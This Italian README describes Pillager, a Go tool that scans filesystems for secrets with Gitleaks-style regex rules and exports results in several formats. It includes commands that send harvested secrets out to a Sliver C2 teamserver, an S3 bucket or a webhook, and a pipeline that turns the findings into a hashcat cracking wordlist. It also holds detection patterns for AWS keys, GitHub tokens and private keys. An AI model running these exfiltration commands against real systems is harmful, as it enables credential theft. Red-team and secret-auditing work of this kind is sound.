
Saccheggia i filesystem per informazioni sensibili con Go 🔍
Saccheggia i filesystem per informazioni sensibili con Go.
Pillager è progettato per fornire un modo semplice per sfruttare il potente modello di concorrenza di Go per cercare ricorsivamente directory alla ricerca di informazioni sensibili nei file. Pillager fa questo appoggiandosi sulle spalle di alcuni giganti. Una volta che pillager trova i file che corrispondono al pattern specificato, il file viene scansionato utilizzando una serie di worker concorrenti, ognuno dei quali prende una riga del file dalla coda di lavoro e cerca corrispondenze di pattern sensibili. I filtri pattern disponibili possono essere definiti in un file pillager.toml oppure puoi utilizzare il ruleset predefinito.
Se hai Go configurato sul tuo sistema, puoi installare Pillager con go install
go install github.com/brittonhayes/pillager@latest
scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager
brew tap brittonhayes/homebrew-pillager
brew install pillager
docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .
Se stai cercando un binario, controlla le ultime release per l'eseguibile adatto al tuo sistema
Per vedere tutti i comandi disponibili con pillager
# Per vedere le istruzioni per l'intera applicazione
pillager
# Da qualsiasi sottocomando
pillager [cmd] --help
Pillager fornisce un'interfaccia utente terminale costruita con bubbletea se desideri scansionare interattivamente alla ricerca di segreti.
Invia i segreti scoperti a destinazioni remote: Sliver C2 (magazzini di loot/credenziali), S3/MinIO (cloud storage) o Webhooks (endpoint HTTP personalizzati).
# Sliver C2 - Invia al teamserver con parsing delle credenziali
pillager hunt /target --exfil sliver \
--sliver-config ~/.sliver-client/configs/operator.cfg
# S3/MinIO - Carica con crittografia
pillager hunt /target --exfil s3 \
--s3-bucket red-team-findings \
--s3-endpoint https://minio.internal:9000 \
--exfil-encrypt env:EXFIL_KEY
# Webhook - POST a un endpoint personalizzato
pillager hunt /target --exfil webhook \
--webhook-url https://your-server.com/findings \
--webhook-header "Authorization: Bearer token"
Sicurezza: Crittografia AES-256-GCM (--exfil-encrypt), TLS predefinito, metadati automatici (hostname, timestamp)
Pillager supporta completamente le regole di Gitleaks[^2]. Queste possono essere passate con una sezione rules1 nel tuo file pillager.toml, oppure puoi utilizzare il ruleset predefinito lasciando vuoto il flag di configurazione.
# pillager.toml
# Configurazione di base
verbose = false
redact = false
# Regole per il rilevamento dei segreti
[[rules]]
description = "AWS Access Key"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]
[[rules]]
description = "AWS Secret Key"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]
[[rules]]
description = "GitHub Token"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]
[[rules]]
description = "Private Key"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]
# Configurazione della whitelist
[allowlist]
paths = [
".*/_test\\.go$",
".*/testdata/.*",
".*\\.md$",
".*/vendor/.*"
]
regexes = [
"EXAMPLE_KEY",
"DUMMY_SECRET"
]
Pillager ha una serie di formati di output integrati disponibili. Scegli il tuo preferito!
pillager hunt .
pillager hunt ./example -f json | jq
L'output JSON è progettato per funzionare perfettamente con la fantastica utility jq per un facile parsing.
# Usa pillager per generare una wordlist delimitata da nuova riga a partire dai risultati
pillager hunt . -f wordlist
# Usa pillager per aggiungere una wordlist e poi usa la tua modalità di attacco hashcat preferita
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt
pillager hunt . -f json-pretty
pillager hunt . -f html > results.html
pillager hunt . -f markdown > results.md
pillager hunt . -f csv > results.csv
pillager hunt . --template "{{ range .}}Secret: {{.Secret}}{{end}}"
pillager hunt . -t "$(cat mytemplate.tmpl)"
Pillager ti permette di utilizzare le potenti funzioni di go text/template e sprig per personalizzare il formato di output. Ecco alcuni esempi di template.
{{ range . -}}
File: {{ .File }}
Secret: {{ .Secret}}
Description: {{ quote .Description }}
{{ end -}}
# Risultati
{{ range . -}}
## {{ .File }}
- Posizione: {{.StartLine}}
{{end}}
Ulteriori esempi di template sono disponibili nella directory templates.
La documentazione GoDoc è disponibile su pkg.go.dev per pillager.
Per partecipare allo sviluppo di funzionalità e correzioni per Pillager, inizia con quanto segue:
Cos'è Cobra?
Cobra è una libreria che fornisce un'interfaccia semplice per creare potenti interfacce CLI moderne simili a git e go tools. Cobra è anche un'applicazione che genera lo scaffolding della tua applicazione per sviluppare rapidamente un'applicazione basata su Cobra.